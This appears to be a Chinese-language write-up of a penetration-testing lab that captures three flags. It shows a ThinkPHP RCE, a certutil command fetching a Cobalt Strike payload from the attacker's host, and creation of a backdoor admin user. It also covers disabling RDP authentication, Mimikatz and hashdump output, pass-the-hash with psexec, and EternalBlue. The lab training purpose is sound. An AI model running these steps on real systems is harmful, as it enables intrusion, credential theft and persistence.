Cyberstrikelab-Lab1

Cyberstrikelab-Lab1
TxyVPN环境配置
使用本地工具连接openvpn
- windows
安装OpenVPN Connect
,将cyberstrikelab.com-lab1上传 - linux
openvpn cyberstrikelab.com-lab1
第一个flag
查看本地ip,可以发现多了一个IP地址,是openvpn分配的,但是这个ip一个时间只能一台机器使用,虚拟机使用nat也不行!
接着就可以根据题目要求看看192.168.10.0/24网段的所有主机,分配的172IP可以连接192.168.10.0网段
使用fscan
1 | PS C:\Users\11> fscan -h 192.168.10.0/24 |
[发现漏洞] 目标: http://192.168.10.10
漏洞类型: poc-yaml-thinkphp5023-method-rce
使用phpthink综合利用工具getshell
通过中国蚁剑连接
连接后可在C盘根目录下找到第一个flag
第二个flag
在linux中开启服务CS的服务端和客户端
服务端
./teamserver 172.16.233.2 123@qwe
客户端
新增一个监听器,用于上线第一台主机
使用这个监听器生成一个exe的攻击载荷,放到10目标机中执行,上线CS
上传方法1:使用蚁剑拖拽
上传方法2:在本地使用python开启http文件传输 # 12345是端口
python -m http.server 12345
10受害机windows 拉取文件certutil -urlcache -split -f http://172.16.233.2:12345/artifact_x64.exe
使用CS的插件启用RDP服务和3389端口
使用远程桌面
msf命令行设置后门用户,加入到Administrators组;并开启RDP服务
1 | set COMMAND "net txy 123@qwe /add" |
windows-远程桌面
可能会出现如下问题
(原因:系统更新。微软系统补丁的更新将 CredSSP 身份验证协议的默认设置进行了调整,由“易受攻击”,修改为“已缓解”,从而导致远程桌面连接失败。)解决方法:修改组策表
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
其他方法参考:win10远程桌面连接报错linux 远程桌面
remmina,有点一直问题连不上,还没解决,搞了半天终于搞好了,下面是教程
先用Windows来连接,在计算机上右键-属性-高级系统设置-远程-把下面仅允许那个勾去掉,然后就可以使用了
[参考文章](kali 使用rdesktop远程链接win10出现credssp错误的解决方法_rdesktop credssp-CSDN博客)
使用redesktop或Remmina连接10这台机子
1 | sudo rdesktop 192.168.10.10 |
主机发现
ipconfig
启用命令行查看当前主机ip状态,发现有两张网卡,10段之前已经扫过了,那么就要查看20段了
Fscan扫描
1 | C:\> fscan -h 192.168.20.0/24 |
发现有两台存在永恒之蓝
使用IOX做代理转发配合CS
先在CS上新建一个监听器,以16767为例
用蚁剑把iox上传到10.10的的机子上
开启CMD两个窗口,分别执行iox.exe proxy -l 1080
iox.exe fwd -l :16767 -r 192.168.10.10:16767
攻击机kali上
vim /etc/proxychains4.conf
在末尾添加socks5,注意端口前是空格,没有 “:” !!!
proxychains(4)补充说明:
/etc/proxychains.conf
- 版本:这是 ProxyChains 3.x 的配置文件。
- 配置格式:相对简单,主要用于配置单个代理服务器或简单的代理链。
- 功能限制:
- 不支持多线程。
- 不支持 IPv6。
- 代理链的配置较为基础,功能有限。
- 适用场景:适用于较旧的系统或对代理功能要求不高的场景。
/etc/proxychains4.conf
- 版本:这是 ProxyChains 4.x 的配置文件。
- 配置格式:更加灵活和强大,支持复杂的代理链配置。
- 功能增强:
- 支持多线程,可以同时处理多个连接。
- 支持 IPv6。
- 支持更复杂的代理链模式(如动态链、严格链、轮询链、随机链)。
- 支持 DNS 代理,可以隐藏真实 IP。
- 适用场景:适用于需要高级代理功能的场景,如多线程代理、复杂代理链、IPv6 支持
接着就是等着192.168.20.30机器上线,如果一次不成功,可以再试一下。
通过CS的插件,发现30是台域控主机,可以使用PTH的方法登录20主机
继续使用CS插件-OLa-密码抓取-Mimikatz-logonpasswords
再在会话交互这执行hashdump
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:94bd5248e87cb7f2f9b871d40c903927::: |
hashdump结果字段解释
- 用户名(Username)
- 这是用户的登录名或计算机名。例如:
Administrator
:系统管理员账户。Guest
:来宾账户。krbtgt
:Kerberos票证授予服务账户。cyberweb
、WIN-7NRTJO59O7N$
、CYBERWEB$
:可能是用户账户或计算机账户(以$
结尾的通常是计算机账户)。- 用户ID(RID)
- 这是用户或计算机的相对标识符(Relative Identifier),用于标识用户或计算机在域中的唯一性。
- 常见的RID:
500
:Administrator
账户的默认RID。501
:Guest
账户的默认RID。502
:krbtgt
账户的默认RID。1000
、1103
、1105
:自定义用户或计算机账户的RID。- LM哈希(LM Hash)
- 这是基于LAN Manager算法的密码哈希值,通常用于存储Windows系统的密码。LM哈希是弱哈希算法,容易被破解。
- 示例值:
aad3b435b51404eeaad3b435b51404ee
- 这是一个典型的空密码的LM哈希值,表示用户可能使用了空密码。
- NTLM哈希(NTLM Hash)
- 这是基于NT LAN Manager算法的密码哈希值,比LM哈希更安全,但仍然可以被破解。
- 示例值:
94bd5248e87cb7f2f9b871d40c903927
(Administrator
的NTLM哈希)31d6cfe0d16ae931b73c59d7e0c089c0
(Guest
的NTLM哈希)- 冒号(
:::
)
- 这些冒号通常用于分隔字段,表示后续字段为空或未使用。
具体账户解释
Administrator:500
- 系统管理员账户,RID为500。
- LM哈希:
aad3b435b51404eeaad3b435b51404ee
(空密码)。- NTLM哈希:
94bd5248e87cb7f2f9b871d40c903927
(实际密码的哈希值)。
PTH攻击(Pass-the-Hash);
通过 NTLM 哈希值,攻击技术,远程执行命令并获取目标主机的交互式 Shell
通俗解释,这个NTLM密码可以在域内通行
1 | cd /usr/share/doc/python3-impacket/examples/ |
proxychains4 -q
proxychains4
是一个代理工具,用于将网络连接通过代理(如 SOCKS 或 HTTP 代理)转发。-q
参数表示安静模式(quiet mode),减少不必要的输出。
python3 psexec.py
psexec.py
是 Impacket 工具包中的一个脚本,用于模拟 Windows 的 PsExec 功能,允许攻击者在目标主机上远程执行命令。
-hashes :94bd5248e87cb7f2f9b871d40c903927
-hashes
参数用于传递 NTLM 哈希值,而不是明文密码。:
表示 LM 哈希为空(通常为aad3b435b51404eeaad3b435b51404ee
),直接提供 NTLM 哈希值94bd5248e87cb7f2f9b871d40c903927
。
cyberstrikelab.com/administrator@192.168.20.20
cyberstrikelab.com
是目标域的名称。administrator
是目标域中的管理员账户。192.168.20.20
是目标主机的 IP 地址
1 | C:\Windows\system32> type C:\flag.txt |
第三个flag
第三个台通过CS的永恒之蓝好像打不通,
msf
1 | msfconsole |
CS开启监听端口
选择 192.168.10.10 会话,输入spawn msf ,MSF 成功接收到 CS 的会话
1 | run autoroute -s 192.168.20.0/24 |
如果运行结果有问题,输入options
查看配置信息,缺少哪些必要信息
最后get flag
1 | set COMMAND "type C:\flag.txt" |